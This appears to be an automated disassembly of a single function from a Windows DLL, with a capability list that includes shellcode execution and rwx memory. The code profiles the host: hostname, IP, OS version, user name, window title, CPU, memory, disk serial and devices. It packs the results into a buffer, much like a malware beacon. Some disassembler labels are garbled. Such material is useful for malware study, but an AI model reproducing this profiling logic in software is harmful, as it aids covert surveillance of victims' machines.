Function at 0x18000d9c0
Capabilities:
Allocate or change rwx memory
Enumerate devices by category
Execute shellcode via indirect call
Get cpu information
Get disk information
Get graphical window text
Get hostname
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry value
Resolve dns

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xb70]
sub rsp, 0xc70
xorps xmm0, xmm0
xor eax, eax
mov r14, rdx
mov qword [rbp], rax
mov r15, rcx
lea rdx, [rbp - 0x30]
mov rcx, r14
lea r8d, [rax + 0x38]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call qword [r14 + 0x20]
mov edi, 0x40
lea rcx, [rbp + 0x10]
mov r8d, edi
xor edx, edx
call sub.ntdll.dll_memset
mov esi, 0x200
lea rcx, [rbp + 0x770]
mov r8d, esi
xor edx, edx
call sub.ntdll.dll_memset
lea ebx, [rdi + 0x24]
xor edx, edx
mov r8d, ebx
lea rcx, [rbp + 0x50]
call sub.ntdll.dll_memset
mov r8d, ebx
lea rcx, [rbp + 0x1b0]
xor edx, edx
call sub.ntdll.dll_memset
xor eax, eax
lea r8d, [rsi - 0xc]
xor edx, edx
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x570]
mov word [rsp + 0x58], ax
call sub.ntdll.dll_memset
xor edx, edx
lea r8d, [rbx + 0x64]
lea rcx, [rbp + 0x290]
call sub.ntdll.dll_memset
mov r8d, ebx
lea rcx, [rbp + 0x220]
xor edx, edx
call sub.ntdll.dll_memset
lea r12d, [rdi + 0x10]
xor edx, edx
mov r8d, r12d
lea rcx, [rbp + 0xc0]
call sub.ntdll.dll_memset
mov r8d, r12d
lea rcx, [rbp + 0x110]
xor edx, edx
call sub.ntdll.dll_memset
mov r8d, esi
lea rcx, [rbp + 0x970]
xor edx, edx
call sub.ntdll.dll_memset
mov r8d, r12d
lea rcx, [rbp + 0x160]
xor edx, edx
call sub.ntdll.dll_memset
mov rcx, r14
call qword [r14 + 0x30]
mov rcx, r14
cmp eax, ebx
jbe 0x18000daeb
mov r8d, ebx
jmp 0x18000daf5
call qword [r14 + 0x30]
mov r8d, eax
mov rcx, r14
lea rdx, [rbp + 0x50]
call qword [r14 + 0x20]
mov r8, rdi
lea rdx, [0x180064560]
lea rcx, [rbp + 0x10]
call qword [sym.imp.ntdll.dll_memcpy]
mov r8, rsi
lea rdx, [0x180064360]
lea rcx, [rbp + 0x770]
call qword [sym.imp.ntdll.dll_memcpy]
mov edi, 0x100
lea rcx, [rbp + 0x360]
mov r8d, edi
xor edx, edx
call sub.ntdll.dll_memset
mov edx, edi
lea rcx, [rbp + 0x360]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x360]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
lea rdx, [0x18005bae8]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [0x1800649e8]
xor r12d, r12d
cmp eax, 1
jne 0x18000db97
lea rdx, [0x18005b3d8]
jmp 0x18000dba9
lea rdx, [0x18005b3d0]
test eax, eax
je 0x18000dba9
lea rdx, str.HTTP
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18000dbd5
mov r8d, 0xfa
lea rdx, [rbp + 0x570]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov esi, 4
mov edx, 0x11c
mov r9d, esi
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000dcab
lea rcx, [0x18005b8f8]
mov dword [rax], 0x11c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000dcab
lea rdx, str.RtlGetVersion
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000dc32
mov rcx, rbx
call rax
mov eax, dword [rbx + 0xc]
lea rcx, [0x18005b8f8]
mov dword [rbp + 0xbb0], eax
mov eax, dword [rbx + 8]
mov dword [rbp + 0xbc0], eax
mov eax, dword [rbx + 4]
mov dword [rbp + 0xbc8], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000dc8b
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000dc8b
lea r8, [rbp + 0xbb0]
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0xbc8]
call rax
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.180014b6c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rdx, [rbp + 0xbb0]
mov dword [rbp + 0xbb0], getprotobyname
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rbp + 0xbb0], r12d
mov dword [rbp + 0xbc8], esi
mov dword [rbp + 0xbc0], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0xbc0]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
lea rdx, str.HARDWAREDESCRIPTIONSYSTEMCENTRALPROCESSOR0
mov rcx, 0xffffffff80000002
neg eax
lea rax, [rsp + 0x40]
sbb r9d, r9d
mov qword [rsp + 0x20], rax
and r9d, edi
xor r8d, r8d
inc r9d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000dda2
mov rcx, qword [rsp + 0x40]
lea rax, [rbp + 0xbc8]
mov qword [rsp + 0x28], rax
lea rdx, str.MHZ
lea rax, [rbp + 0xbb0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x18000dd64
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x18000dda2
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
lea rcx, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, dword [rbp + 0xbb0]
lea rdx, str._d_dMHz
mov r8d, dword [rbp - 0x50]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov ebx, 0x40
lea rcx, [rbp - 0x70]
mov r8d, ebx
xor edx, edx
call sub.ntdll.dll_memset
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x70], ebx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov r8, qword [rbp - 0x68]
lea rdx, str._dMB
shr r8, 0x14
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r9d, esi
mov dword [rbp + 0xbb0], 0x80
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, esi
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x18000de7c
test rbx, rbx
je 0x18000de7c
lea rdx, [rbp + 0xbb0]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
mov rdx, rdi
call fcn.1800155d8
mov r9, rdi
lea rdx, str._U_:_s___P_:_s
mov r8, rbx
lea rcx, [rbp + 0x970]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [rbp + 0x360]
mov qword [rsp + 0x70], r12
mov dword [rbp + 0xbb0], r12d
call fcn.180014afc
test eax, eax
jne 0x18000deba
mov eax, 0x43
mov word [rbp + 0x360], ax
jmp 0x18000dec1
movzx eax, word [rbp + 0x360]
mov dword [rsp + 0x38], r12d
lea r9, [rbp + 0xbb0]
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], r12
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r12
mov word [rsp + 0x68], ax
mov dword [rsp + 0x6a], 0x5c003a
mov word [rsp + 0x6e], r12w
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
imul eax, dword [rbp + 0xbb0], 0x14a30b
mov edx, 0x69427551
mov ebx, 8
sub eax, edx
imul ecx, eax, 0x14a30b
mov dword [rsp + 0x40], eax
mov rax, r12
sub ecx, edx
mov word [rsp + 0x46], cx
imul ecx, ecx, 0x14a30b
sub ecx, edx
mov byte [rsp + rax + 0x48], cl
inc rax
cmp rax, rbx
jl 0x18000df29
mov dword [rbp + 0xbb0], ecx
xorps xmm0, xmm0
xor ecx, ecx
mov eax, 1
cpuid
movups xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x80], ecx
mov r8d, edx
lea rdx, str._08X
mov dword [rsp + 0x7c], ebx
lea rcx, [rbp - 0x70]
mov edi, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8d, edi
lea rdx, str._08X
lea rcx, [rbp - 0x68]
call qword [sym.imp.USER32.dll_wsprintfA]
movzx r9d, word [rsp + 0x46]
lea rax, [rbp - 0x70]
mov r8d, dword [rsp + 0x40]
lea rdx, str._X_X_hs
lea rcx, [rbp + 0x160]
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_wsprintfW]
xor ecx, ecx
mov ebx, r12d
call qword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x18000e0d6
xor edx, edx
lea rax, [rsp + 0x68]
lea r9, [0x180051dc0]
mov qword [rsp + 0x20], rax
lea rcx, [0x180051dd0]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x18000e0d6
mov rcx, qword [rsp + 0x68]
lea r8, [rbp + 0xbc0]
xor r9d, r9d
lea rdx, [0x180051de0]
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
jne 0x18000e0d6
mov rcx, qword [rbp + 0xbc0]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rbp + 0xbc0]
lea r9, [rbp + 0xbb0]
lea r8, [rsp + 0x40]
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
jne 0x18000e0d6
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0xbc8]
mov qword [rsp + 0x20], rdx
lea r9, [0x180051db0]
xor r8d, r8d
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x48]
mov edi, eax
test eax, eax
js 0x18000e0b9
mov rcx, qword [rbp + 0xbc8]
lea r8, [rsp + 0x78]
mov eax, 8
lea rdx, str.FriendlyName
mov word [rsp + 0x78], ax
xor r9d, r9d
mov rax, qword [rcx]
call qword [rax + 0x18]
mov edi, eax
test eax, eax
jne 0x18000e0ac
mov rcx, qword [rbp - 0x80]
inc ebx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0xbc8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test ebx, ebx
jg 0x18000e0d0
test edi, edi
je 0x18000e025
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rsp + 0x60], ebx
mov dword [rbp + 0xbb0], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0xbb0]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rbp + 0xbb0], r12d
lea rdx, [rbp + 0x10]
mov eax, r12d
mov r8d, 0x40
setne al
mov rcx, r14
mov dword [rsp + 0x64], eax
call qword [r14 + 0x28]
mov r8d, 0x200
lea rdx, [rbp + 0x770]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0x64
lea rdx, [rbp + 0x50]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0x64
lea rdx, [rbp + 0x1b0]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0xa
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0x1f4
lea rdx, [rbp + 0x570]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0xc8
lea rdx, [rbp + 0x290]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0x64
lea rdx, [rbp + 0x220]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0x50
lea rdx, [rbp + 0xc0]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0x50
lea rdx, [rbp + 0x110]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0x200
lea rdx, [rbp + 0x970]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, 0x50
lea rdx, [rbp + 0x160]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, esi
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [r14 + 0x28]
mov r8d, esi
lea rdx, [rsp + 0x64]
mov rcx, r14
call qword [r14 + 0x28]
call fcn.180003854
mov rcx, rax
mov rsi, rax
call fcn.18000d8e8
mov rcx, rsi
call qword [rsi + 0x30]
mov r8d, 4
lea rdx, [rbp + 0xbb8]
mov rcx, r14
mov dword [rbp + 0xbb8], eax
call qword [r14 + 0x28]
xor edx, edx
mov rcx, rsi
call qword [rsi + gethostname]
mov rdx, rax
mov r8d, dword [rbp + 0xbb8]
mov rcx, r14
call qword [r14 + 0x28]
mov rcx, r14
mov dword [rbp - 0xc], 1
call qword [r14 + 0x30]
mov dword [rbp - 8], eax
mov dword [rbp], r12d
call fcn.180003854
mov r8d, gethostname
lea rdx, [rbp - 0x30]
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, r14
call qword [r14 + 0x30]
xor edx, edx
mov rcx, r14
mov ebx, eax
call qword [r14 + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rsi
call fcn.18000397c
mov rcx, r14
call fcn.18000397c
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, r15
mov rdx, rax
call qword [r15 + 0x30]
mov rcx, rdi
call fcn.18000397c
xor eax, eax
add rsp, 0xc70
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret